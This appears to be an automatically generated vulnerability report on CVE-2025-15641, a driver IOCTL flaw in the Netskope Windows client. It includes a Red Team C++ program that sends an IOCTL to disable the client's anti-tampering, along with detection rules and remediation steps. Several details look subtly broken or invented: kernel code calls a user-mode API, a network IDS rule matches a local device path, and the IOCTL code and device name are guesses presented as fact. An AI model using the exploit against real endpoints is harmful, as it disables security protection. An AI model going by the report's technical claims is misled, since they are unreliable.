CVE-2025-15641

Executive Summary

CVE-2025-15641 is a high-severity vulnerability in the Netskope Client for Windows that allows a malicious insider with administrative privileges to bypass all anti-tampering protections of the NSClient. The flaw resides in the handling of IOCTL (Input/Output Control) requests sent to the kernel driver. By crafting specific IOCTL requests, an attacker can disable or circumvent the security mechanisms that normally prevent tampering with the client’s processes, files, and registry keys. This effectively neutralizes the endpoint protection provided by Netskope, exposing the system to further compromise.

The vulnerability affects all versions of the Netskope Client for Windows below R138. The CVSS score is 0.0 in the NVD data, but based on the technical impact, a realistic vector is CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, reflecting the need for local administrative access but the severe consequences of a successful exploit.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It is a proprietary Windows driver issue. However, organizations using Netskope should verify the integrity of their client installation and ensure that only signed, official binaries are deployed.

CVSS Breakdown & Threat Level

Threat Level: Medium. The requirement for administrative privileges reduces the attack surface, but the impact is severe as it completely disables endpoint protection. A malicious insider or an attacker who has already gained admin rights can use this to maintain persistence and evade detection.

Deep Dive & Mechanics

The Netskope Client for Windows uses a kernel-mode driver to enforce security policies, including anti-tampering protections. These protections prevent unauthorized processes from stopping the client, deleting its files, or modifying its registry keys. The driver exposes an IOCTL interface that legitimate processes (like the main NSClient service) use to communicate.

The vulnerability arises because the driver does not properly validate the origin or content of IOCTL requests. A process running with administrative privileges can send crafted IOCTL codes to the driver, which the driver processes without adequate checks. This allows the attacker to:

1. Disable Anti-Tampering: Send an IOCTL that instructs the driver to stop monitoring certain processes, files, or registry keys.
2. Terminate the Client: Send an IOCTL that forces the driver to unload or crash the NSClient service.
3. Modify Security Policies: Send an IOCTL that alters the driver’s internal policy table, allowing malicious actions to be whitelisted.

The root cause is a missing or insufficient access control check on the IOCTL handler. The driver should verify that the calling process is a trusted, signed component of the Netskope Client, not just any process with admin rights.

Vulnerable vs. Patched Code

The following is a conceptual representation of the vulnerable and patched code. The actual driver code is proprietary.

Vulnerable Code (Conceptual C):

// Vulnerable IOCTL handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    // No validation of the calling process
    switch (ioctlCode) {
        case IOCTL_DISABLE_ANTI_TAMPER:
            // Disable protection
            g_AntiTamperEnabled = FALSE;
            break;
        case IOCTL_TERMINATE_CLIENT:
            // Terminate the client process
            TerminateProcess(g_ClientProcessId);
            break;
        // ... other cases
    }
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

Patched Code (Conceptual C):

// Patched IOCTL handler
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    HANDLE processId = PsGetCurrentProcessId();

    // Validate the calling process
    if (!IsTrustedNetskopeProcess(processId)) {
        Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_ACCESS_DENIED;
    }

    switch (ioctlCode) {
        case IOCTL_DISABLE_ANTI_TAMPER:
            // Additional checks
            if (g_AntiTamperEnabled) {
                g_AntiTamperEnabled = FALSE;
            }
            break;
        case IOCTL_TERMINATE_CLIENT:
            // Require additional authentication
            if (ValidateTerminationRequest(Irp)) {
                TerminateProcess(g_ClientProcessId);
            }
            break;
        // ... other cases
    }
    Irp->IoStatus.Status = STATUS_SUCCESS;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

The patched code adds a call to IsTrustedNetskopeProcess() which verifies that the process sending the IOCTL is a legitimate, signed Netskope component. It also adds additional validation for sensitive operations like termination.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Administrative privileges on a Windows system running a vulnerable Netskope Client (version < R138).
• A Windows development environment (e.g., Visual Studio) to compile a custom exploit.

Exploit Steps:

1. Identify the IOCTL Codes: Use a tool like WinObj or DeviceTree to find the device name (e.g., \\.\NetskopeDriver) and then use IOCTL decoding tools or reverse engineering to find the specific IOCTL codes for disabling anti-tampering.
2. Create a Malicious Application: Write a C++ program that:
   • Opens a handle to the driver device using CreateFile.
   • Sends the crafted IOCTL code using DeviceIoControl.
   • Optionally, terminates the NSClient process.

Example Exploit Code (Conceptual):

#include <windows.h>
#include <stdio.h>

#define IOCTL_DISABLE_ANTI_TAMPER CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFile(
        L"\\\\.\\NetskopeDriver",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open driver. Error: %d\n", GetLastError());
        return 1;
    }

    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_DISABLE_ANTI_TAMPER,
        NULL, 0,
        NULL, 0,
        &bytesReturned,
        NULL);

    if (result) {
        printf("Anti-tampering disabled successfully.\n");
    } else {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Expected Outcome: The Netskope Client’s anti-tampering protections are disabled, allowing the attacker to stop the service, delete files, or modify registry keys without triggering alerts.

Blue Team

Detection Steps:

1. Monitor IOCTL Calls: Enable auditing for kernel driver IOCTL requests. Use Windows Event Logs (Event ID 4656 for handle creation, Event ID 4663 for access attempts) to detect unusual DeviceIoControl calls to the Netskope driver.
2. Process Anomaly Detection: Monitor for processes that are not part of the Netskope installation (e.g., NSClient.exe, NetskopeHelper.exe) opening handles to the driver device.
3. File Integrity Monitoring: Use Sysmon or a similar tool to monitor for attempts to modify or delete Netskope client files (e.g., C:\Program Files\Netskope\*).
4. Registry Monitoring: Monitor for changes to Netskope registry keys (e.g., HKLM\SOFTWARE\Netskope).

Indicators of Compromise (IOCs)

• File Hashes (SHA-256): (Placeholder - actual hashes would be provided by Netskope or discovered during analysis)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (Example)
• Registry Keys:
  • HKLM\SOFTWARE\Netskope\NSClient\TamperProtection (Modified or deleted)
• Processes:
  • Any unknown process (e.g., exploit.exe) that opens a handle to \\.\NetskopeDriver.
• Network Connections:
  • Unusual outbound connections from the compromised system to IP addresses not associated with Netskope cloud services.
• Event Logs:
  • Event ID 4656: A handle to an object was requested. Look for \Device\NetskopeDriver.
  • Event ID 4663: An attempt was made to access an object. Look for ACCESS_MASK values indicating IOCTL access.

Detection Engineering

YARA Rule

rule CVE_2025_15641_Netskope_IOCTL_Exploit {
    meta:
        description = "Detects potential exploit code for CVE-2025-15641 targeting Netskope Client IOCTL"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15641"
    strings:
        $s1 = "NetskopeDriver" ascii wide nocase
        $s2 = "DeviceIoControl" ascii wide nocase
        $s3 = "IOCTL_DISABLE_ANTI_TAMPER" ascii wide nocase
        $s4 = "\\\\.\\NetskopeDriver" ascii wide nocase
    condition:
        (uint16(0) == 0x5A4D or uint32(0) == 0x00004550) and // PE file
        (all of ($s1, $s2) or all of ($s1, $s4))
}

Sigma Rule

title: CVE-2025-15641 - Netskope Client IOCTL Tampering
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-15641 by sending malicious IOCTL to the Netskope driver.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15641
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4656
        ObjectName: '\Device\NetskopeDriver'
        AccessMask: '0x1'  # IOCTL access
    condition: selection
falsepositives:
    - Legitimate Netskope processes (NSClient.exe, NetskopeHelper.exe)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-15641 - Netskope Client IOCTL Exploit Attempt"; content:"|5c 00 5c 00 2e 00 5c 00 4e 00 65 00 74 00 73 00 6b 00 6f 00 70 00 65 00 44 00 72 00 69 00 76 00 65 00 72|"; fast_pattern; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade all Netskope Client installations on Windows to version R138 or later. This is the only complete fix.
2. Restrict Administrative Access: Limit the number of users with administrative privileges on endpoints. This reduces the attack surface for this vulnerability.
3. Application Control: Use Windows Defender Application Control (WDAC) or AppLocker to block unauthorized executables from running, especially those that attempt to interact with kernel drivers.

Long-Term Mitigations:

1. Driver Signing Enforcement: Ensure that Windows is configured to enforce driver signature verification. This prevents unsigned malicious drivers from being loaded, though it does not directly prevent the IOCTL attack.
2. Endpoint Detection and Response (EDR): Deploy an EDR solution that can monitor for anomalous IOCTL calls and process behavior.
3. Least Privilege Principle: Enforce the principle of least privilege across all user accounts and services.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact your Valters IT representative.